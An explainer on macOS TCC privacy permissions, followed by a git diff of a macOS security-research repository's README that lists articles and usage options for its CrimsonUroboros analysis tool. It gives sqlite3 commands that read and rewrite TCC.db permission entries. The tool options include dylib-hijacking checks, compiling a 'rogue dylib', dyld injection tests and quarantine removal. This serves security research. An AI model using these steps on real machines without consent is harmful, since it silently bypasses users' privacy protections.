| kTCCServiceListenEvent | Monitors keyboard or system events; e.g., "Allows client to monitor your keyboard." |
| kTCCServiceLiverpool | Internal identifier for Liverpool-related features. |
| kTCCServiceLocation | Accesses location data; e.g., "Client would like to use your current location." |
| kTCCServiceMediaLibrary | Grants media library access; e.g., "Client would like to access Apple Music, your music and video activity, and your media library." |
| kTCCServiceMicrophone | Allows microphone use; e.g., "Client would like to access the microphone." |
| kTCCServiceMotion | Accesses motion and fitness data; e.g., "Client would like to access your Motion \& Fitness Activity." |
| kTCCServiceMSO | Supports mobile service operator features. |
| kTCCServiceNearbyInteraction | Enables nearby device interactions. |
| kTCCServicePasteboard | Accesses clipboard data. |
| kTCCServicePhotos | Permits photo library access; e.g., "Client would like to access your Photos." |
| kTCCServicePhotosAdd | Allows adding to photos; e.g., "Client would like to add to your Photos." |
| kTCCServicePostEvent | Enables sending keystrokes or events; e.g., "Allows client to send keystrokes." |
| kTCCServicePrototype3Rights | Internal prototype rights (version 3); e.g., "Client would like authorization to Test Service Proto3Right." |
| kTCCServicePrototype4Rights | Internal prototype rights (version 4); e.g., "Client would like authorization to Test Service Proto4Right." |
| kTCCServiceReminders | Accesses reminders; e.g., "Client would like to access your reminders." |
| kTCCServiceRemoteDesktop | Supports remote desktop access. |
| kTCCServiceScreenCapture | Enables screen recording; e.g., "Client would like to capture the contents of the system display." |
| kTCCServiceSecureElementAccess | Handles secure elements like NFC. |
| kTCCServiceSensorKit* (various) | Provides access to sensor data (e.g., ambient light, pedometer, heart rate); specific variants target metrics like elevation, motion, or watch-based stats. |
| kTCCServiceShareKit | Enables content sharing via ShareKit. |
| kTCCServiceSinaWeibo | Integrates with Sina Weibo. |
| kTCCServiceSiri | Allows Siri interactions; e.g., "Would you like to use client with Siri?" |
| kTCCServiceSpeechRecognition | Enables speech recognition; e.g., "Client would like to access Speech Recognition." |
| kTCCServiceSystemPolicyAllFiles | Grants full disk access; e.g., "Client would like Full Disk Access." |
| kTCCServiceSystemPolicyAppBundles | Allows modifying app bundles; e.g., "Client would like to modify apps on your Mac." |
| kTCCServiceSystemPolicyAppData | Accesses app-specific data. |
| kTCCServiceSystemPolicyDesktopFolder | Accesses Desktop files; e.g., "Client would like to access files in your Desktop folder." |
| kTCCServiceSystemPolicyDeveloperFiles | Accesses development files; e.g., "Client would like to access a file used in Software Development." |
| kTCCServiceSystemPolicyDocumentsFolder | Accesses Documents; e.g., "Client would like to access files in your Documents folder." |
| kTCCServiceSystemPolicyDownloadsFolder | Accesses Downloads; e.g., "Client would like to access files in your Downloads folder." |
| kTCCServiceSystemPolicyNetworkVolumes | Accesses network volumes; e.g., "Client would like to access files on a network volume." |
| kTCCServiceSystemPolicyRemovableVolumes | Accesses removable volumes; e.g., "Client would like to access files on a removable volume." |
| kTCCServiceSystemPolicySysAdminFiles | Allows admin tasks; e.g., "Client would like to administer your computer." |
| kTCCServiceTencentWeibo | Integrates with Tencent Weibo. |
| kTCCServiceTwitter | Integrates with Twitter (now X). |
| kTCCServiceUbiquity | Enables iCloud syncing. |
| kTCCServiceUserAvailability | Accesses availability info; e.g., "Client would like to access your Availability." |
| kTCCServiceUserTracking | Handles user tracking features. |
| kTCCServiceVirtualMachineNetworking | Supports VM networking. |
| kTCCServiceVoiceBanking | Enables voice-based banking. |
| kTCCServiceWebBrowserPublicKeyCredential | Manages passkeys; e.g., "Would you like to allow client to access and use your saved passkeys?" |
| kTCCServiceWebKitIntelligentTrackingPrevention | Provides tracking prevention in WebKit. |
| kTCCServiceWillow | Internal identifier for Home-related data; e.g., "Client would like to access your Home data." |
### Practical Applications of TCC Services
TCC ensures apps can't access private data without approval, which is crucial for security research. Here's why certain services are commonly requested:
- Assistive technologies rely on accessibility permissions to enable features like voice commands.
- Video apps need camera and microphone access for calls or recordings.
- Productivity tools use calendar, contacts, or reminders to sync schedules and people.
- Device integrations, like Bluetooth or motion sensors, support wearables and fitness tracking.
- File-related permissions are vital for apps handling documents, downloads, or network storage.
- Advanced features, such as screen capture or Siri, enhance sharing and voice control in collaborative or automated workflows.
These permissions appear in System Settings under Privacy \& Security, updating dynamically as apps request them.
### Retrieving the Latest TCC Service List
To get an up-to-date list directly from your system (tested on macOS Ventura and later), use these methods. Ensure Terminal has Full Disk Access for queries.
1. **Database Query**:
```bash
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db "SELECT * FROM access"
sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db "SELECT * FROM access"
```
This pulls from the user-level / system-level database.
2. **Extract from Framework**:
```bash
strings /System/Library/PrivateFrameworks/TCC.framework/Support/tccd | grep -iEo "^kTCCService.*" | sort -u
```
This scans for service strings in the TCC framework.
### Modifying TCC Permissions via Command Line
TCC stores data in SQLite databases at `~/Library/Application Support/com.apple.TCC/TCC.db` (user-specific) and `/Library/Application Support/com.apple.TCC/TCC.db` (system-wide). The key table is `access`, with fields like `service` (permission type), `client` (app bundle ID or path), `client_type` (0 for bundle ID, 1 for path), and `auth_value` (2 for allowed, 0 for denied).
#### Viewing Permissions
List apps with Full Disk Access:
```bash
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db 'SELECT client FROM access WHERE auth_value > 0 AND service = "kTCCServiceSystemPolicyAllFiles"'
```
Check system database similarly.
#### Editing Permissions
- Deny a permission (sets `auth_value` to 0):
```bash
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db 'UPDATE access SET auth_value = 0 WHERE client = "com.example.app" AND service = "kTCCServiceCamera"'
```
- Delete a specific entry:
```bash
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db "DELETE FROM access WHERE client = 'com.example.app' AND service = 'kTCCServiceCamera'"
```
- Add an entry (requires code signing requirement blob via `codesign` and `csreq`):
First, extract the blob for the app and target:
```bash
codesign -dr - /Path/To/App.app 2>&1 | awk -F ' => ' '/designated/{print $2}' | csreq -r- -b /tmp/csreq.bin
xxd -p /tmp/csreq.bin | tr -d '\n' # Output for INSERT
```
Then insert (adapt values accordingly).
For simpler resets, use Apple's `tccutil reset` command to revoke permissions for a service or all for an app `tccutil reset All com.apple.Terminal`.

789
README.md
View File

@@ -1,24 +1,37 @@
# Snake & Apple
![alt](img/Snake_Apple.jpg)
The code repository for the `Snake&Apple` article series, which documents my research about macOS security.
[![alt](img/Snake_Apple.jpg)](https://karol-mazurek.medium.com/snake-apple-ff87a399ecc4?sk=v2%2Fb2295773-88e6-4654-9d3d-61d73b9001e5)
This is the code repository for the "[Snake & Apple](https://karol-mazurek.medium.com/list/snakeapple-50baea541374)" article series, which documents my research on macOS security. The primary tool developed during the creation of the series is called `CrimsonUroboros`. You can find its description, along with instructions for other tools in this repository, in [Tools.md](https://github.com/Karmaz95/Snake_Apple/blob/main/TOOLS.md).
Each article directory contains three subdirectories:
## ARTICLES
I have been writing about Apple Security across different platforms for years, compiling them in this repository. Currently, I am writing on [Patreon](https://www.patreon.com/Karol_Mazurek). All articles are free, except those marked with a `*`, which are [exclusive content](https://www.patreon.com/collection/1529482) for Elite Patrons—my "thank-you" to the folks who support me.
---
Each main article directory contains three subdirectories:
* `mac` - source code of macOS for references and copy of presentations.
* `custom` - code, for example, programs written for articles.
* `python` - contains the latest CrimsonUroboros and other Python scripts created during research.
## ARTICLES
The short introduction is written in [Snake&Apple Intro](https://karol-mazurek95.medium.com/snake-apple-ff87a399ecc4?sk=v2%2Fb2295773-88e6-4654-9d3d-61d73b9001e5)
---
The short introduction is written in [Snake&Apple Intro](https://karol-mazurek.medium.com/snake-apple-ff87a399ecc4?sk=v2%2Fb2295773-88e6-4654-9d3d-61d73b9001e5)
The tags for each article are in the [Article_tags.md](Article_tags.md).
The table of contents showing links to all articles is below:
* &#9745; [App Bundle Extension](https://karol-mazurek.medium.com/snake-apple-app-bundle-ext-f5c43a3c84c4?sk=v2%2F3ff105ad-f4f0-464d-b4d5-46b86c66fe14)
* &#9745; [Cracking macOS apps](https://karol-mazurek.medium.com/cracking-macos-apps-39575dd672e0?sk=v2%2F727dce55-53ee-45f6-b051-2979e62f2ba1)
* &#9745; [Cracking Electron Integrity](https://karol-mazurek.medium.com/cracking-electron-integrity-0a10e0d5f239?sk=v2%2F7726b99c-c6c9-4d70-8c37-da9f2f0874e8)
* &#9745; [I. Mach-O](https://karol-mazurek95.medium.com/snake-apple-i-mach-o-a8eda4b87263?sk=v2%2Ffc1cbfa4-e2d4-4387-9a82-b27191978b5b)
* &#9745; [XPC Programming on macOS](https://karol-mazurek.medium.com/xpc-programming-on-macos-7e1918573f6d?sk=v2%2F21c4e9c7-40a5-43dd-804b-0d8f9bc4e94c)
* &#9745; [AppleScript for Vulnerability Research](https://www.patreon.com/posts/applescript-for-130305213) `*`
* &#9745; [LLDB for Vulnerability Research](https://www.patreon.com/posts/lldb-for-131084875) `*`
* &#9745; [Scaling Vulnerability Discovery on macOS](https://www.patreon.com/posts/scaling-on-macos-131937045) `*`
* &#9745; [Applications Patch Diffing on macOS](https://www.patreon.com/posts/applications-on-131618568) `*`
* &#9745; [Threats of Unvalidated XPC Clients on macOS](https://afine.com/threats-of-unvalidated-xpc-clients-on-macos/)
* &#9745; [I. Mach-O](https://karol-mazurek.medium.com/snake-apple-i-mach-o-a8eda4b87263?sk=v2%2Ffc1cbfa4-e2d4-4387-9a82-b27191978b5b)
* &#9745; [Optimizing Mach-O Detection](https://karol-mazurek.medium.com/optimizing-mach-o-detection-40352101bbef?sk=v2%2F3378d3f5-874b-4b82-94d5-b2ccd8522ea3)
* &#9745; [II. Code Signing](https://karol-mazurek95.medium.com/snake-apple-ii-code-signing-f0a9967b7f02?sk=v2%2Fbbc87007-89ca-4135-91d6-668b5d2fe9ae)
* &#9745; [III. Checksec](https://karol-mazurek95.medium.com/snake-apple-iii-checksec-ed64a4b766c1?sk=v2%2Fb4b8d637-e906-4b6b-8088-ca1f893cd787)
* &#9745; [Static Analysis on Decompiled Code](https://www.patreon.com/posts/static-analysis-135790081) `*`
* &#9745; [II. Code Signing](https://karol-mazurek.medium.com/snake-apple-ii-code-signing-f0a9967b7f02?sk=v2%2Fbbc87007-89ca-4135-91d6-668b5d2fe9ae)
* &#9745; [To allow or not to get-task-allow, that is the question](https://afine.com/to-allow-or-not-to-get-task-allow-that-is-the-question/)
* &#9745; [III. Checksec](https://karol-mazurek.medium.com/snake-apple-iii-checksec-ed64a4b766c1?sk=v2%2Fb4b8d637-e906-4b6b-8088-ca1f893cd787)
* &#9745; [IV. Dylibs](https://karol-mazurek.medium.com/snake-apple-iv-dylibs-2c955439b94e?sk=v2%2Fdef72b7a-121a-47a1-af89-7bf53aed1ea2)
* &#9745; [Breaking Hardened Runtime: The 0-Day Microsoft Delivered to macOS](https://afine.com/breaking-hardened-runtime-the-0-day-microsoft-delivered-to-macos/)
* &#9745; [Dyld Shared Cache Patch Diffing based on CVE-2025-43400](https://www.patreon.com/posts/dyld-shared-on-140770478) `*`
* &#9745; [V. Dyld](https://karol-mazurek.medium.com/snake-apple-v-dyld-8b36b674cc44?sk=v2%2F4acb16f8-fa88-41f0-8d7c-1362f4060010)
* &#9745; [DYLD — Do You Like Death? (I)](https://karol-mazurek.medium.com/dyld-do-you-like-death-i-8199faad040e?sk=v2%2F359b081f-d944-409b-9e7c-95f7c171b969)
* &#9745; [DYLD — Do You Like Death? (II)](https://karol-mazurek.medium.com/dyld-do-you-like-death-ii-b74360b8af47?sk=v2%2Ff0cff71c-5345-4228-a639-653325fc979d)
@@ -40,741 +53,37 @@ The table of contents showing links to all articles is below:
* &#9745; [Sandbox Detector](https://karol-mazurek.medium.com/sandbox-detector-4268ab3cd361?sk=v2%2F58fe49fb-1381-4db3-9db9-3f6309e4053a)
* &#9745; [Sandbox Validator](https://karol-mazurek.medium.com/sandbox-validator-e760e5d88617?sk=v2%2F145ac2ef-ca06-41a0-b310-c96f4ce0037b)
* &#9745; [App Sandbox startup](https://karol-mazurek.medium.com/app-sandbox-startup-71daf8f259d1?sk=v2%2F9f3b09a6-c7c0-445d-8613-8e25bf3f4e4d)
* &#9745; [System Intigrity Protection](https://karol-mazurek.medium.com/system-integrity-protection-sip-140562b07fea?sk=v2%2F9c293b8f-c376-4603-b8a1-2872ba3395cf)
* &#9744; [IX. TCC](https://karol-mazurek.medium.com/snake-apple-ix-tcc-ae822e3e2718?sk=v2%2F426ae6cf-6418-4e3f-a0ca-3aee06d6f676)
* &#9745; [System Integrity Protection](https://karol-mazurek.medium.com/system-integrity-protection-sip-140562b07fea?sk=v2%2F9c293b8f-c376-4603-b8a1-2872ba3395cf)
* &#9745; [IX. TCC](https://karol-mazurek.medium.com/snake-apple-ix-tcc-ae822e3e2718?sk=v2%2F426ae6cf-6418-4e3f-a0ca-3aee06d6f676)
* &#9745; [Apple UUID Finder](https://karol-mazurek.medium.com/apple-uuid-finder-a5173bdd1a8a?sk=v2%2F04bb0d32-6dc9-437d-bf72-8f65e03fed90)
* &#9744; [X. NU]()
* &#9745; [Threat of TCC Bypasses on macOS](https://afine.com/threat-of-tcc-bypasses-on-macos/)
* &#9745; [TCC Bypass in Visual Studio Code via misconfigured Node fuses](https://afine.com/tcc-bypass-in-microsoft-visual-studio-code-via-misconfigured-node-fuses/)
* &#9745; [Reverse Engineering Apples TCC Daemon: When Decompiled Code Lies](https://afine.com/reverse-engineering-apples-tcc-daemon-when-decompiled-code-lies/)
* &#9745; [X. NU](https://karol-mazurek.medium.com/snake-apple-x-nu-0bc5c36170da?sk=v2%2F502ee9db-8d8a-4a1b-8655-546742a7d261)
* &#9745; [Kernel Debugging Setup on MacOS](https://karol-mazurek.medium.com/kernel-debugging-setup-on-macos-07dd8c86cdb6?sk=v2%2F782bf539-a057-4f14-bbe7-f8e1ace26701)
* &#9744; [Fixing an Infinite Loop](https://karol-mazurek.medium.com/fixing-an-infinite-loop-on-unix-e0a8a5501c54?sk=v2%2F140555f8-9770-4c6b-9734-d9c5b7cc9bc7)
* &#9745; [Fixing an Infinite Loop](https://karol-mazurek.medium.com/fixing-an-infinite-loop-on-unix-e0a8a5501c54?sk=v2%2F140555f8-9770-4c6b-9734-d9c5b7cc9bc7)
* &#9745; [Exceptions on macOS](https://karol-mazurek.medium.com/exceptions-on-macos-2c4bd6a9fd31?sk=v2%2Ffa7393a6-16e7-46d4-84d0-4de300260533)
* &#9745; [MACF on macOS](https://karol-mazurek.medium.com/macf-on-macos-004b8a490e2c?sk=v2%2Fd9a61281-e230-4ac6-8608-ad062f4d2a9a)
* &#9745; [Kernel Extensions on macOS](https://karol-mazurek.medium.com/kernel-extensions-on-macos-1b0f38b632ea?sk=v2%2Fb6920735-90f9-459c-9c10-30980247bae7)
* &#9745; [Mach IPC Security on macOS](https://karol-mazurek.medium.com/mach-ipc-security-on-macos-63ee350cb59b?sk=v2%2F3afce264-9b59-447f-84ea-b1988606191a)
* &#9745; [Task Injection on macOS](https://afine.com/task-injection-on-macos/)
* &#9745; [Drivers on macOS](https://karol-mazurek.medium.com/drivers-on-macos-26edbde370ab?sk=v2%2F8a5bbc18-aae7-4a68-b0dd-bb5ce70b5752)
* &#9745; [Case Study: Analyzing macOS IONVMeFamily NS_01 Driver Denial of Service Issue](https://afine.com/case-study-analyzing-macos-ionvmefamily-driver-denial-of-service-issue/)
* &#9745; [Case Study: IOMobileFramebuffer NULL Pointer Dereference](https://afine.com/case-study-iomobileframebuffer-null-pointer-dereference/)
* &#9745; [A mouse move that crashed the system Stack Buffer Overflow in Display Driver on macOS](https://afine.com/a-mouse-move-that-crashed-the-system-stack-buffer-overflow-in-display-driver-on-macos/)
* &#9745; [Mapping IOKit Methods Exposed to User Space on macOS](https://phrack.org/issues/72/9_md#article) #PHRACK 💀
* &#9745; [SLAP & FLOP: Apple Silicons Data Speculation Vulnerabilities](https://afine.com/slap-flop-apple-silicons-data-speculation-vulnerabilities/)
* &#9745; [History of NULL Pointer Dereferences on macOS](https://afine.com/history-of-null-pointer-dereferences-on-macos/)
## TOOLS
[CrimsonUroboros](#crimsonuroboros) • [MachOFileFinder](#machofilefinder) • [TrustCacheParser](#trustcacheparser) • [SignatureReader](#signaturereader) • [extract_cms.sh](#extract_cmssh) • [ModifyMachOFlags](#modifymachoflags) • [LCFinder](#lcfinder) • [MachODylibLoadCommandsFinder](#machodylibloadcommandsfinder) • [AMFI_test.sh](VI.%20AMFI/custom/AMFI_test.sh) • [make_plist](VIII.%20Sandbox/python/make_plist.py) • [sandbox_inspector](VIII.%20Sandbox/python/sandbox_inspector.py) • [spblp_compiler_wrapper](VIII.%20Sandbox/custom/sbpl_compiler_wrapper) • [make_bundle](#make_bundle) • [make_bundle_exe](#make_bundle_exe) • [make_dmg](#make_dmg) • [electron_patcher](#electron_patcher) • [sandbox_validator](#sandbox_validator) • [sandblaster](#sandblaster) • [sip_check](#sip_check) • [crimson_waccess.py](#crimson_waccesspy) • [sip_tester](#sip_tester) • [UUIDFinder](#uuidfinder)
***
* &#9744; [Apple Intelligence]()
* &#9745; [AI-Enhanced Vulnerability Research](https://www.patreon.com/posts/ai-enhanced-135545364) `*`
### [CrimsonUroboros](tests/CrimsonUroboros.py)
![alt](img/CrimsonUroboros.jpg)
Core program resulting from the Snake&Apple article series for binary analysis. You may find older versions of this script in each article directory in this repository.
* Usage
```console
usage: CrimsonUroboros [-h] [-p PATH] [-b BUNDLE] [--bundle_structure]
[--bundle_info] [--bundle_info_syntax_check]
[--bundle_frameworks] [--bundle_plugins] [--bundle_id]
[--file_type] [--header_flags] [--endian] [--header]
[--load_commands] [--has_cmd LC_MAIN] [--segments]
[--has_segment __SEGMENT] [--sections]
[--has_section __SEGMENT,__section] [--symbols]
[--imports] [--exports] [--imported_symbols]
[--chained_fixups] [--exports_trie] [--uuid] [--main]
[--encryption_info [(optional) save_path.bytes]]
[--strings_section] [--all_strings]
[--save_strings all_strings.txt] [--info]
[--dump_data [offset,size,output_path]]
[--calc_offset vm_offset] [--constructors]
[--dump_section __SEGMENT,__section]
[--dump_binary output_path] [--verify_signature]
[--cd_info] [--cd_requirements]
[--entitlements [human|xml|var]]
[--extract_cms cms_signature.der]
[--extract_certificates certificate_name]
[--remove_sig unsigned_binary]
[--sign_binary [adhoc|identity]] [--cs_offset]
[--cs_flags] [--verify_bundle_signature]
[--remove_sig_from_bundle] [--has_pie] [--has_arc]
[--is_stripped] [--has_canary] [--has_nx_stack]
[--has_nx_heap] [--has_xn] [--is_notarized]
[--is_encrypted] [--is_restricted] [--is_hr] [--is_as]
[--is_fort] [--has_rpath] [--has_lv] [--checksec]
[--dylibs] [--rpaths] [--rpaths_u] [--dylibs_paths]
[--dylibs_paths_u] [--broken_relative_paths]
[--dylibtree [cache_path,output_path,is_extracted]]
[--dylib_id] [--reexport_paths] [--hijack_sec]
[--dylib_hijacking [(optional) cache_path]]
[--dylib_hijacking_a [cache_path]]
[--prepare_dylib [(optional) target_dylib_name]]
[--is_built_for_sim] [--get_dyld_env]
[--compiled_with_dyld_env] [--has_interposing]
[--interposing_symbols]
[--dump_prelink_info [(optional) out_name]]
[--dump_prelink_text [(optional) out_name]]
[--dump_prelink_kext [kext_name]]
[--kext_prelinkinfo [kext_name]]
[--kmod_info kext_name] [--kext_entry kext_name]
[--kext_exit kext_name] [--mig] [--has_suid]
[--has_sgid] [--has_sticky] [--injectable_dyld]
[--test_insert_dylib] [--test_prune_dyld]
[--test_dyld_print_to_file] [--test_dyld_SLC] [--xattr]
[--xattr_value xattr_name] [--xattr_all]
[--has_quarantine] [--remove_quarantine]
[--add_quarantine] [--sandbox_container_path]
[--sandbox_container_metadata]
[--sandbox_redirectable_paths] [--sandbox_parameters]
[--sandbox_entitlements] [--sandbox_build_uuid]
[--sandbox_redirected_paths] [--sandbox_system_images]
[--sandbox_system_profiles]
[--sandbox_content_protection] [--sandbox_profile_data]
[--dump_kext kext_name] [--extract_sandbox_operations]
[--tcc] [--tcc_fda] [--tcc_automation] [--tcc_sysadmin]
[--tcc_desktop] [--tcc_documents] [--tcc_downloads]
[--tcc_photos] [--tcc_contacts] [--tcc_calendar]
[--tcc_camera] [--tcc_microphone] [--tcc_location]
[--tcc_recording] [--tcc_accessibility] [--tcc_icloud]
## REFERENCES
I have studied tons of resources, crediting other researchers and their contributions at the end of each article I wrote. Thank you all for sharing your hard-earned knowledge for free. You are all awesome! However, two individuals have significantly accelerated my progress, and I want to honor them:
Mach-O files parser for binary analysis
* **[Jonathan Levin](https://x.com/Morpheus______)** His [*OS Internals trilogy](https://newosxbook.com/home.html) helped me rapidly learn the beauty of the macOS system. If there is a single resource I would recommend for anybody, it is the masterpiece you wrote. Thank you!
options:
-h, --help show this help message and exit
* **[Patrick Wardle](https://x.com/patrickwardle)** He created the [OBTS conference](https://objective-see.org/), where many brilliant minds come together to share their research. You've created something to look forward to every year. Thank you!
GENERAL ARGS:
-p, --path PATH Path to the Mach-O file
-b, --bundle BUNDLE Path to the App Bundle (can be used with -p to change
path of binary which is by default set to:
/target.app/Contents/MacOS/target)
BUNDLE ARGS:
--bundle_structure Print the structure of the app bundle
--bundle_info Print the Info.plist content of the app bundle (JSON
format)
--bundle_info_syntax_check
Check if bundle info syntax is valid
--bundle_frameworks Print the list of frameworks in the bundle
--bundle_plugins Print the list of plugins in the bundle
--bundle_id Print the CFBundleIdentifier value from the Info.plist
file if it exists
MACH-O ARGS:
--file_type Print binary file type
--header_flags Print binary header flags
--endian Print binary endianess
--header Print binary header
--load_commands Print binary load commands names
--has_cmd LC_MAIN Check of binary has given load command
--segments Print binary segments in human-friendly form
--has_segment __SEGMENT
Check if binary has given '__SEGMENT'
--sections Print binary sections in human-friendly form
--has_section __SEGMENT,__section
Check if binary has given '__SEGMENT,__section'
--symbols Print all binary symbols
--imports Print imported symbols
--exports Print exported symbols
--imported_symbols Print symbols imported from external libraries with
dylib names
--chained_fixups Print Chained Fixups information
--exports_trie Print Export Trie information
--uuid Print UUID
--main Print entry point and stack size
--encryption_info [(optional) save_path.bytes]
Print encryption info if any. Optionally specify an
output path to dump the encrypted data (if cryptid=0,
data will be in plain text)
--strings_section Print strings from __cstring section
--all_strings Print strings from all sections
--save_strings all_strings.txt
Parse all sections, detect strings, and save them to a
file
--info Print header, load commands, segments, sections,
symbols, and strings
--dump_data [offset,size,output_path]
Dump {size} bytes starting from {offset} to a given
{filename} (e.g. '0x1234,0x1000,out.bin')
--calc_offset vm_offset
Calculate the real address (file on disk) of the given
Virtual Memory {vm_offset} (e.g. 0xfffffe000748f580)
--constructors Print binary constructors
--dump_section __SEGMENT,__section
Dump '__SEGMENT,__section' to standard output as a raw
bytes
--dump_binary output_path
Dump arm64 binary to a given file
CODE SIGNING ARGS:
--verify_signature Code Signature verification (if the contents of the
binary have been modified)
--cd_info Print Code Signature information
--cd_requirements Print Code Signature Requirements
--entitlements [human|xml|var]
Print Entitlements in a human-readable, XML, or DER
format (default: human)
--extract_cms cms_signature.der
Extract CMS Signature from the Code Signature and save
it to a given file
--extract_certificates certificate_name
Extract Certificates and save them to a given file. To
each filename will be added an index at the end: _0
for signing, _1 for intermediate, and _2 for root CA
certificate
--remove_sig unsigned_binary
Save the new file on a disk with removed signature
--sign_binary [adhoc|identity]
Sign binary using specified identity - use : 'security
find-identity -v -p codesigning' to get the identity
(default: adhoc)
--cs_offset Print Code Signature file offset
--cs_flags Print Code Signature flags
--verify_bundle_signature
Code Signature verification (if the contents of the
bundle have been modified)
--remove_sig_from_bundle
Remove Code Signature from the bundle
CHECKSEC ARGS:
--has_pie Check if Position-Independent Executable (PIE) is set
--has_arc Check if Automatic Reference Counting (ARC) is in use
(can be false positive)
--is_stripped Check if binary is stripped
--has_canary Check if Stack Canary is in use (can be false
positive)
--has_nx_stack Check if stack is non-executable (NX stack)
--has_nx_heap Check if heap is non-executable (NX heap)
--has_xn Check if binary is protected by eXecute Never (XN) ARM
protection
--is_notarized Check if the application is notarized and can pass the
Gatekeeper verification
--is_encrypted Check if the application is encrypted (has
LC_ENCRYPTION_INFO(_64) and cryptid set to 1)
--is_restricted Check if binary has __RESTRICT segment or CS_RESTRICT
flag set
--is_hr Check if the Hardened Runtime is in use
--is_as Check if the App Sandbox is in use
--is_fort Check if the binary is fortified
--has_rpath Check if the binary utilise any @rpath variables
--has_lv Check if the binary has Library Validation (protection
against Dylib Hijacking)
--checksec Run all checksec module options on the binary
DYLIBS ARGS:
--dylibs Print shared libraries used by specified binary with
compatibility and the current version (loading paths
unresolved, like @rpath/example.dylib)
--rpaths Print all paths (resolved) that @rpath can be resolved
to
--rpaths_u Print all paths (unresolved) that @rpath can be
resolved to
--dylibs_paths Print absolute dylib loading paths (resolved
@rpath|@executable_path|@loader_path) in order they
are searched for
--dylibs_paths_u Print unresolved dylib loading paths.
--broken_relative_paths
Print 'broken' relative paths from the binary (cases
where the dylib source is specified for an executable
directory without @executable_path)
--dylibtree [cache_path,output_path,is_extracted]
Print the dynamic dependencies of a Mach-O binary
recursively. You can specify the Dyld Shared Cache
path in the first argument, the output directory as
the 2nd argument, and if you have already extracted
DSC in the 3rd argument (0 or 1). The output_path will
be used as a base for dylibtree. For example, to not
extract DSC, use: --dylibs ",,1", or to extract from
default to default use just --dylibs or --dylibs ",,0"
which will extract DSC to extracted_dyld_share_cache/
in the current directory
--dylib_id Print path from LC_ID_DYLIB
--reexport_paths Print paths from LC_REEXPORT_DLIB
--hijack_sec Check if binary is protected against Dylib Hijacking
--dylib_hijacking [(optional) cache_path]
Check for possible Direct and Indirect Dylib Hijacking
loading paths. The output is printed to console and
saved in JSON format to
/tmp/dylib_hijacking_log.json(append mode).
Optionally, specify the path to the Dyld Shared Cache
--dylib_hijacking_a [cache_path]
Like --dylib_hijacking, but shows only possible
vectors (without protected binaries)
--prepare_dylib [(optional) target_dylib_name]
Compile rogue dylib. Optionally, specify
target_dylib_path, it will search for the imported
symbols from it in the dylib specified in the --path
argument and automatically add it to the source code
of the rogue lib. Example: --path lib1.dylib
--prepare_dylib /path/to/lib2.dylib
DYLD ARGS:
--is_built_for_sim Check if binary is built for simulator platform.
--get_dyld_env Extract Dyld environment variables from the loader
binary.
--compiled_with_dyld_env
Check if binary was compiled with -dyld_env flag and
print the environment variables and its values.
--has_interposing Check if binary has interposing sections.
--interposing_symbols
Print interposing symbols if any.
AMFI ARGS:
--dump_prelink_info [(optional) out_name]
Dump "__PRELINK_INFO,__info" to a given file (default:
"PRELINK_info.txt")
--dump_prelink_text [(optional) out_name]
Dump "__PRELINK_TEXT,__text" to a given file (default:
"PRELINK_text.txt")
--dump_prelink_kext [kext_name]
Dump prelinked KEXT {kext_name} from decompressed
Kernel Cache PRELINK_TEXT segment to a file named:
prelinked_{kext_name}.bin
--kext_prelinkinfo [kext_name]
Print _Prelink properties from PRELINK_INFO,__info for
a give {kext_name}
--kmod_info kext_name
Parse kmod_info structure for the given {kext_name}
from Kernel Cache
--kext_entry kext_name
Calculate the virtual memory address of the __start
(entrypoint) for the given {kext_name} Kernel
Extension
--kext_exit kext_name
Calculate the virtual memory address of the __stop
(exitpoint) for the given {kext_name} Kernel Extension
--mig Search for MIG subsystem and prints message handlers
--has_suid Check if the file has SetUID bit set
--has_sgid Check if the file has SetGID bit set
--has_sticky Check if the file has sticky bit set
--injectable_dyld Check if the binary is injectable using
DYLD_INSERT_LIBRARIES
--test_insert_dylib Check if it is possible to inject dylib using
DYLD_INSERT_LIBRARIES (INVASIVE - the binary is
executed)
--test_prune_dyld Check if Dyld Environment Variables are cleared (using
DYLD_PRINT_INITIALIZERS=1) (INVASIVE - the binary is
executed)
--test_dyld_print_to_file
Check if DYLD_PRINT_TO_FILE Dyld Environment Variables
works (INVASIVE - the binary is executed)
--test_dyld_SLC Check if DYLD_SHARED_REGION=private Dyld Environment
Variables works and code can be injected using
DYLD_SHARED_CACHE_DIR (INVASIVE - the binary is
executed)
ANTIVIRUS ARGS:
--xattr Print all extended attributes names
--xattr_value xattr_name
Print single extended attribute value
--xattr_all Print all extended attributes names and their values
--has_quarantine Check if the file has quarantine extended attribute
--remove_quarantine Remove com.apple.quarantine extended attribute from
the file
--add_quarantine Add com.apple.quarantine extended attribute to the
file
SANDBOX ARGS:
--sandbox_container_path
Print the sandbox container path
--sandbox_container_metadata
Print the .com.apple.containermanagerd.metadata.plist
contents for the given bundlein XML format
--sandbox_redirectable_paths
Print the redirectable paths from the sandbox
container metadata as list
--sandbox_parameters Print the parameters from the sandbox container
metadata as key-value pairs
--sandbox_entitlements
Print the entitlements from the sandbox container
metadata in JSON format
--sandbox_build_uuid Print the sandbox build UUID from the sandbox
container metadata
--sandbox_redirected_paths
Print the redirected paths from the sandbox container
metadata as list
--sandbox_system_images
Print the system images from the sandbox container
metadata as key-value pairs
--sandbox_system_profiles
Print the system profile from the sandbox container
metadata in JSON format
--sandbox_content_protection
Print the content protection from the sandbox
container metadata
--sandbox_profile_data
Print raw bytes ofthe sandbox profile data from the
sandbox container metadata
--dump_kext kext_name
Dump the kernel extension binary from the
kernelcache.decompressed file
--extract_sandbox_operations
Extract sandbox operations from the Sandbox.kext file
TCC ARGS:
--tcc Print TCC permissions of the binary
--tcc_fda Check Full Disk Access (FDA) TCC permission for the
binary
--tcc_automation Check Automation TCC permission for the binary
--tcc_sysadmin Check System Policy SysAdmin Files TCC permission for
the binary
--tcc_desktop Check Desktop Folder TCC permission for the binary
--tcc_documents Check Documents Folder TCC permission for the binary
--tcc_downloads Check Downloads Folder TCC permission for the binary
--tcc_photos Check Photos Library TCC permission for the binary
--tcc_contacts Check Contacts TCC permission for the binary
--tcc_calendar Check Calendar TCC permission for the binary
--tcc_camera Check Camera TCC permission for the binary
--tcc_microphone Check Microphone TCC permission for the binary
--tcc_location Check Location Services TCC permission for the binary
--tcc_recording Check Screen Recording TCC permission for the binary
